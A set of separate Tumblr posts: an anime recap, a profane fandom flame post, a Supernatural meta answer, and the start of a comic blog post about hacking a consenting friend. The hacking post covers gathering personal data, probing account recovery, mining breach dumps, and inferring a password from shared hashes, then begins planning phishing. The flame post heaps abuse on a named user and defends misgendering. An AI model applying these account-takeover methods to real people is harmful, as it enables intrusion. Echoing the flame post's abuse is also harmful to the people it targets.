-Of course, Rin ends up helping…And by the time the others gather, it’s a truly traditional meal. Some grilled salmon, a miso soup, rice, even natto. Exactly what a certain hungover teacher needs to clear her head. And as they all get their grub on…The sun tips over the horizon, and it is just magic. That first light, when your eyes have adjusted to the pre-dawn, is so overwhelming, and just…Amazing.

-Of course, then comes the end of the trip. The loading of gear, the packing up of campsites. Daily coming to pick various folks up, and of course, one last photo of them all together before they scatter.

-Cut to a new day at the bookstore. Rin’s just hanging out behind the counter…And she’s thinking she wants to go somewhere for New Year’s…Which is when Ena shows up, buying a magazine on winter camping.

-Over at school, Chiaki leads the crew on a full cleanup of their club room! …That took like two minutes. Until they get Rin or Ena to actually sign on, it’s the cramped storage room for another semester. And tragically, they’re both working through the New Year’s holiday, so they can’t even go camping together…Well, except for Nadeshiko, who can’t find work.

-Cue Rin texting with a PLAN. Ena got a temp job printing and delivering new year’s cards and they need more warm bodies. It’s only a week or two of work, but Nadeshiko’s super excited at getting some cash to turn into camping gear.

-And at last, the credits song plays, as we montage over a quiet calm for all involved with the sun low in the sky. Rin’s scooter dutifully parked by her humble home. Ena’s doggo wrapped up snug in his doggo bed. Nadeshiko’s sister after another road trip to a picturesque sight. Rin’s grampa watching the sun set from his latest campsite. Nadeshiko’s folks coming home with groceries. Toba-sensei’s sister setting up camp, and she herself wrapping up a day of teaching.

-And in that little storage hall, a few more photos added to Nadeshiko’s wall…Including the one magical shot that started the series, of them all together…

-Aftercredits! And not a skit, either. It’s post-New Years, the back end of winter turning into spring, and Nadeshiko’s pedaling her humble little bike, with its rack and her bag both full of kit, to a certain campground…It’s a hard ride, but she finally makes it, checks in, and finds herself nearly alone at a pristine lake. The very place where she met Rin, damn near the exact same spot, as she dutifully puts together her setup. Her tent, her little table…And her own little treat, the gas lantern she saw in the shop that day. It’s a perfect, gorgeous setup…

-When Rin texts asking if she’s working. She’s actually out on the road, and just got to her campsite! And thus they get talking, both of them out camping solo, as Nadeshiko hides where she’s gone, until she sends the photo…And Rin’s comes in…And she’s not even a hundred feet back. They both had the same idea and came to the same place. These adorable precious girls.

And that’s a wrap.

I…Damn, this one somehow feels way heavier than it should. The show’s just so warm and comfy that I don’t want to leave it. But there’s no more left(unless they do a second season COME ON YOU COWARDS), and thus there’s no choice.

I mean, except for the fact that I obviously have already made bookmarks for the manga to chew on.

It is no mistake that this show caused a lot of people to want to go camping. This was…Damn, this was real close to perfect for me, and quite frankly the only things that would’ve made it better would be trading some archetypes around to pander to my specific tastes, rather than actually doing anything objectively higher quality.

And that fucking ending. That last shot. That was just…Pretend your favorite meme image of a chef’s kiss is here, because that was perfect.

So what’s coming up now that we did that? A hard pivot to the exact opposite of this warm comfy slice-of-life stuff, and also me trying blatantly to build my presence Tumblr-side with a big-pop. You’ll see. Wait for it!

#where I watch #recap #anime #laid-back camp #yuru camp

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the-e4b · 6 years

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THE FOLLOWING RESPONSE POST IS VERY OLD: IT HAS BEEN IN THE DRAFTS FOR A LONG WHILE. IT IS POSTED TODAY BECAUSE DISNEYMASTER IS STILL SEEKING ATTENTION SO HE WILL GET ATTENTION.

Continuing on from this post because DM has managed to totally miss the point of our replies and make up something entirely different.

1. We are not pretending our fandom isn’t filled with Men Rights Activist, Alt-righters and corporate yes men. Because, guess what? That’s not the focus of our blog. The focus of our blog is bronies (like yourself) who make an ass out of themselves or try to look smart but in the end look like nothing less than the end of a donkey’s ass. None of us CARE about politics in the slightest, we only care about a show about pastel talking horses to escape our shitty lives.

2. We will immediately give dear Peet every ounce of respect once he starts to own up to it. What he does now is make fun of transgenders, feminists, bronies, weeboos, professional writers and everything that goes against atleast one of his policies. No one respects him but his faithful herd of cockroaches.

3. There’s a difference between pointing out flaws in a character and obsessing and hating over every trait they have and show in an episode. But, I shouldn’t try to explain that to someone who obsesses over a character getting wings and character growth…

4. Bit too late on that “blackmailing us over to Peet”. Every one of us is already blocked by Jerry and already knows our dirty laundry and absolutely doesn’t care about it. And he will certainly not care about what a pathetic little shit like you has to say.

5. This point I’m not even gonna argue with. If you really want to go as far as to call a CHILDREN’S show sexist then you’re way past the point of no return. You’re taking a show for little kids WAY too serious, even by our standards. And BTW, Rotten Tomatoes’ opinion doesn’t mean shit if the movie made it’s money back with even more to add to this day. As we speak MLP:the movie has broken 50 million dollars in the box office with still a lot of theaters to hit and the DVD and Blu-ray still to come out. One small thing doesn’t seem like a lot, but soon one small thing leads to more and soon one small thing can be the biggest thing of all.

YOU, Disneymaster, are one of those vocal minorities who think that the show is full of “right wing/centralist corporate bs”. How about you just sit back and enjoy a good series like Ducktales or watch reruns of the good ol days of MLP. That’s still 52 episode where you can just shut your yap and enjoy blandness and the glory days of Queen and Empress Faust.

- Space Mare

PS. Still can’t believe you haven’t found out who I am yet.

I find it hard to believe that this poor soul is still trying to start more issues with us because we still exist and continue to oppose the most toxic people in the community. It doesn’t matter which way they lean politically, scum is scum. Al Franken and Roy Moore sit on each side of the political spectrum, both of them are dirty abusers, deserving to rot in a prison cell for the harm they caused others

I do not know why DM insists on white knighting on behalf of someone who actually despises that part of the fanbase that threw a giant tantrum many moons ago over Twilight Sparkle’s wings. It’s like how Ephrom continues to track down Peet’s enemies, despite senpai not giving a rat’s ass about him.

Also, It’s funny how DisneyMaster feels like he can act like an asshole again despite apologizing for his actions towards the fanbase. After that, we closed the book on the Anticorns as most of them were willing to acknowledge their faults and move on. DisneyMaster tried the moral high ground approach with us and even tried to use blackmail to try and get us to remove his Encyclopedia Dramatica page (which we had no hand in despite what his paranoia would tell him) and our previous screencaps.

He also tried to shine the spotlight on the things that we have done, as Space Mare said… Peet doesn’t care and no one else cares about what you have to say. Everyone had a phase where they were reckless and pious in their beliefs. You wanted to be a hero, you fought for something you believed was noble but you were shortsighted by the part of the fanbase that wanted to wait and see where the show was going before jumping to conclusions. At some points, we wanted to make a difference, we all wanted to interact with others, beg for free art and contribute to many collaborative stories… however because of the ambiguity of text, everyone’s true feelings are masked. I don’t remember everyone I annoyed but I moved on and worked to improve. The Book of Five Rings says that the path of self improvement is a neverending cycle.

I say this because humans are social creatures and making a good first impression is the first step to building a strong bond. The point is to grow from the mistakes and move on. We’ve moved on from you, DM… why can’t you do the same?

-JoJo

To finally relieve some inner anger I’ve been feeling because Disneymaster is an obnoxious parasite that doesn’t know when to fade into a pit of nothing or won’t fucking back off and leave us alone..I’m gonna speak myself with this Linkara:

You are the most annoying, self entitled, obnoxious and downright most self important scumfuck that I have EVER fucking come across when it comes to any fandom.

AND THAT IS SAYING A LOT.

You constantly seek to complain about certain things the MLP fandom as if that’s ALL the fandom consists off. As Saturn states, E4B is not on THAT type of garbage because we aren’t INTERESTED in it, we discuss and criticize the people who make the fandom look poor or make complete ass out of themselves and come off a arrogant and think they know more in regards to a show about multicolored horses.YOU’RE the one constantly seeking the negative traits and screech the almighty heavens how “TEH BRONIEZ FANDOM IZ BAD CAUSE THIS AND THAT”.

And then we come to my favorite one:

SHUT. THE. FUCK. UP. OVER. THE MISGENDERING. SHIT.

We’ve stated this and stated THIS AGAIN:

The reasons we REFUSE to call Jerry “Lily” ISN’T because we have something against transgenders, hell we have transgender friends. One of the bands I’m a fan of has a transgender leader (And just so you can get it through your fucking obnoxious skull, the person in question is Laura Jane Grace of Against Me, who came out as a transgender in 2012 and even wrote an album about her struggles with gender dysphoria). The reasons we don’t call Jerry by their preferred name is because not only does Jerry show no respect to not only ex friends who dared disagree with him on certain things, no respect to his family, no respect to his own colleagues of the fandom, no respect to other fandoms,or even his fans…

He has no respect TRANSGENDERS, he even infamously snarked and attacked a transgendered individual who called out his garbage.

How do we (myself especially) respect someone who does THAT?!

Or what, does that not fit your stupid political leanings or for your SJW tendancies?

“OH YOU SHOULDN’T BE COMPLAINING OVER RINGTEAM CRITICZING CHARACTER TRAAAAITS”.

Have you looked in the mirror Mr. I-Hate-MLP-Because-Twilight-Got-Wings-And-Said-Meghan-McCarthy-Should-Be-Beaten?

“DURRRRR BE GLAD I HAVEN’T TATTLETAILED ON YOU GUYS TO JERRY WAAAH”

Jerry knows about the blog’s existence and has both shown little to no interest and even when he did, he gave the usual bitch rant he always gives towards people who call out his shit:

Obligatory insults that involve “transphobic” and “Nazi”.

Also, “MLP Sexist”. Oh sure, Gen 4 is totally sexist. A generation created by a feminist with the idea of making the show towards a general audience is “sexist”.

Do you ever fucking hear yourself, or do you love the sound of your voice that you jerk to it?

But then again, this is the same asshole who took his niece’s plushie away and has no regret over it and has even show depression over a fucking children’s show involving multicolored horses, all while screeching pity about how “nobody likes him” despite the fact he himself is his own downfall by constantly bitching at fans of the show and even comparing them to Donald Trump supporters.

Clearly we’re the bad guys compared to the guy whining about colored horse butts for about four years.

As Saturn stated, while critical reception for the movie was just mixed, it was a financial success, getting a total of $51 million at the box office and even then, it did good for it’s opening week with $21.9 million in the US and Canada. That’s ESPECIALLY impressive considering BLADE RUNNER 2049 (and by an extent, the romnatic survival film The Mountain Between Us) came out ON THE SAME DAY. Not to mention the 2017 adaptation of IT was still in theaters.

At the end of the day DM, You’re nothing but an obnoxious, annoying, and downright tumorous parasite that doesn’t know when to fuck off and leave us alone, let alone the fandom.

You really wanna know why people give you shit?

BECAUSE YOU FUCKING MAKE THEM DO IT.

YOU FUCKING SPEW POLITICAL GARBAGE OVER A CHILDREN’S SHOW, ATTACK FANS OVER SIMPLY ENJOYING THE SHOW THEY’VE GROWN TO LOVE, AND DOWNRIGHT CONSTANTLY THINK YOU’RE IN THE FUCKING RIGHT EVERY TIME.

Heck, one of your fucking DA Tags was “Disneymaster is always right”. You cry fucking pity every time because you hate how people snark at you, but then you do stupid shit like accuse a show created by FEMINIST, let alone a toy line targeted to a certain demographic of “being sexist”.

I would say take responsibility for your shitty actions, but the one time you did, you backed out f it because “WAAAAAAAH E4B ARE SAYING SHIT I DON’T LIIIKE”. Like you STILL keep doing because you can’t let shit fucking go.

Do everyone a fucking favor: Do something with your sad fucking life.

But chances are, you’ll disregard everything we’ve said because nobody else is right but you.

You fucking are sad and borderline unstable.

- deafpony.

I love how right there you admit you don’t care about what the SU fandom did, because they agree with your opinions.

Those extremest you think are all over the MLP community? They are often called out and are despised but the fandom at large. Like you.

Unlike SU, which has no problems harassing artists and staff members over petty shit because you sad losers think you’re heroes living in a crappy Young Adult novel.

“ROTTEN TOMATOS SAID MOVIE BAD ME RIGHT!!!!!!”

Who the fuck cares about what the same site that bashed A Cure for Wellness, one of the most unique horror movies of 2017? The movie still made a mint anyway. Bet you’re one of those types who freaked out because Ghostbusters 2016 flopped.

Because you’re the worst type of fan, Dumpy. You don’t care about the story, or characters, or animation, you care about how “progressive” it is. I bet that’s why you like that blander than white bread Season 1 of MLP, because Faust’s name was on it. Nothing more.

Go do something productive with your sad life. Or screech about a blog that hasn’t said a word about you again. That’s a victory for Social Justice!

#disneymaster #idiot #space mare post #jojo mod post #deafpony mod post #mod kirby

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incarnateirony · 4 years

Note

Sorry abt all of the hate you’ve been getting recently. Here’s a (hopefully) interesting opinion to give you a break. I understand you believe DeanCas to be canon based on text. However, in a tv show, the script doesn’t equate to canon. In the end it’s the actors/directors interpretation onscreen. It’s fun to analyze DeanCas textually, but if there’s no onscreen payoff to the decade (?) long buildup. It’s queerbait. And knowing the history of LGBT+ cinema, it would be a very cruel thing.

Okay so this is a really uh, kinda cute attempt, but still about 3 years behind on things I’ve already addressed. In fact, your own take in a lot -- and I mean a lot -- of ways is far more self defeating than you think right here.

First of all, the script is the *base* of canon. I have always said, the script isn’t the complete canon and yes, it’s a collaborative work. This is not the winning argument you think it is. However, it is the base text. The base texts depicts the canon on page before the collaborative part presses it to on screen. (In fact to show how Not New Yet Backwards this take is, I've included a post at the end about social codes where I openly address how hysterical the fandom's limited idea of text is, and that whether inside or outside of Spoken Dialogue Only eg script the argument falls on its face and surrenders itself to reveal internalized queerphobia.)

For the record, I assume you went with the “script is just script” angle because I recently nailed down all the authoritative statements and receipts, but we’ll move on to your other points.

Now while not every-single-director has ever spoken up, some have. In fact, director Phil Sgriccia was one of the first people--in so far as being on the S8 DVD commentary--talking about Dean’s biromantic potential. Dick Speight also has been openly supportive and his framework is consistent. Many others don’t engage, like wright, but wright very obviously consciously framed things as per his previous work with Jensen on Dark Angel. We could go on. We could go on about set design, we could go on about all kinds of things.

We could go on about the way this fandom has a terrible warped way of reviewing AV media, wherein they used to chase curtains or assume certain lighting meant things it didn’t, *against* what crew said in some points, and then yell about interpretation.

In fact your very evocation of the collaborative elements make this even more absurdist even if you really did pose this in innocence: after all, when this year a soap opera reporter who doesn’t even watch the show caught the 15.03 breakup, she gave swift review of the full cinematography being the classic framework of the Dark Points in the Romance. Because you’re right. It’s collaborative text. And especially as of season 15, that collaborative text--and in AV, visuals DO count as text--is painting them in romantic methods, in ways previously not done no matter what someone’s 8 year old meta sheet told them violet light meant. In fact, if you follow the actual crew’s statements of that violet light’s meaning, and look at 15.13, and then read through what I’ve been talking about on endgame speculation and where it fell, it falls into the fated twined paths of Dean and Cas at the end of the road together. No, the violet isn’t inherently romantic. Yes, it’s part of a large story. And yes, that story is leading them down a road together which I’ll bring up at the end of this post. Letting a romance speak for itself in the midst of mytharc is a whole other thing, and actually like, how it’s supposed to go? When it’s... literally an integral part of the structure?

All of this, all of this, is fundamentally true and I have actually made dozens if not hundreds of post to show how fandom has actually been -- in their attempt to be woke, to claim queerbait or not canon, or to whatever else -- persistently deleted creative commentary, turned it into accusations, or just defied basic AV crit standards both for and against itself.

Are we really going to start talking about actor interpretations in the year even Jensen Ackles called it a domestic dispute, and turned a Samstiel question into Dean’s taste in Cas? Or Misha and Jared’s long histories of commentary? Or the other actors on the field over the years, even Emily Swallow or Curtis? Should we go as far back as to go to the showrunner note of when to play it like a jilted lover?

None of this is a new angle that I find interesting, it was interesting a few years ago when I first shared it, but here’s where your line breaks:

Jumping from that, any of that to “if there’s no onscreen payoff” isn’t just a nonsequitor, it buries your intent.

Even I have said, it’s true! The only base definition of queerbait is to create a bunch of queer-leading content without intent to follow through! Good job on that.

But you’re missing a whole bunch here.

I’ve simply said that setting ridiculous goalposts based on personal wants is not what makes canon. I don’t care if you want a kiss or sex on the map table or a rainbow farting unicorn pony for them to ride into the horizon--those are your goalposts, and those are not the only ways, nor the only valid ways much less, to have follow through.

The lack of intent to follow through is a hilarious presupposition. And follow-through does not only transmit one way. Hets get plenty of follow throughs like, I don’t know, at the end them implicitly asking someone to dinner and that’s it, that’s their happy ending. (Detty comes to mind.) Some hets never even kiss. Nobody gets to set that specific *goalpost* and then erase all the other canon and text. That’s queer deletion. That’s regressive. And frankly that shits on the LGBT cinema history you’re trying to reference here vaguely, to which I point you to my entire LGBTQIA+ tag where I discuss a hundred years of queer cinema history and have a nagging feeling your head would actually spin for trying to break that out as an argument. Because you’ve got that backwards.

If the authors have intent to follow through on a romantic pairing, but do not give *your specific preferred thing* for *whatever* reason (in this case, from corporate interference snaring them back, for example), that is /not/ queerbait. It’s low visibility text and it’s still canon. There is no form of mental gymnastics this becomes anything else. If they have the intent to follow through and do follow through, it’s not queerbait.

I don’t care how you cartwheel, how you reframe it, and how you try to nurse your mental wounds having to face that, perhaps, the alt right and terfy propaganda that has infested this fandom under the veil of being woke to get kids to repeat it has, also, influenced you. It’s hard to admit mistakes. But your entire statement here doesn’t even add together, it’s random assertions you’ve assumed are new, but actually fall contrary to what you think they add up to.

If, for example as I speculate, they can’t kiss, for example, but squeeze in a love you under limited parameters only to go off as a unit into eternity together on their own path, decided together, and that’s as far as the writers were allowed to go? Sorry, they still had intent to follow through, and followed through to what limit they have. Ergo, by your own definition, not queerbait.

Also, regardless of the ending, that doesn’t remove *text*. I can’t emphasize this enough. You can be dissatisfied with the ending, you can even feel baited if it does or doesn’t go to a specific landmark you set your personal faith on, but that doesn’t make previous text elements suddenly subtext, because that isn’t how it works, and never has been.

Regarding unlevel social codes and how many ways this fandom has shown its own ass unwittingly, confusion over what is text, subtext, and how they all fall into a canon

https://occamshipper.tumblr.com/post/190728796970/were-gonna-try-this-again-canon-is-accepted

Being regressive and deleting your own stuff isn't helpful and often varies based on preferences rather than objective observations.

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defaultnamehere · 7 years

Text

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "[email protected] phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at [email protected] or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type [email protected], executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

[email protected]:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

[email protected]:cooldad64HNc62V8 [email protected]:cooldad64HNc62V8 [email protected]:p@triots69HNc62V8 [email protected]:Bongo1HNc62V8

I search Tumblr.txt for not [email protected], but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

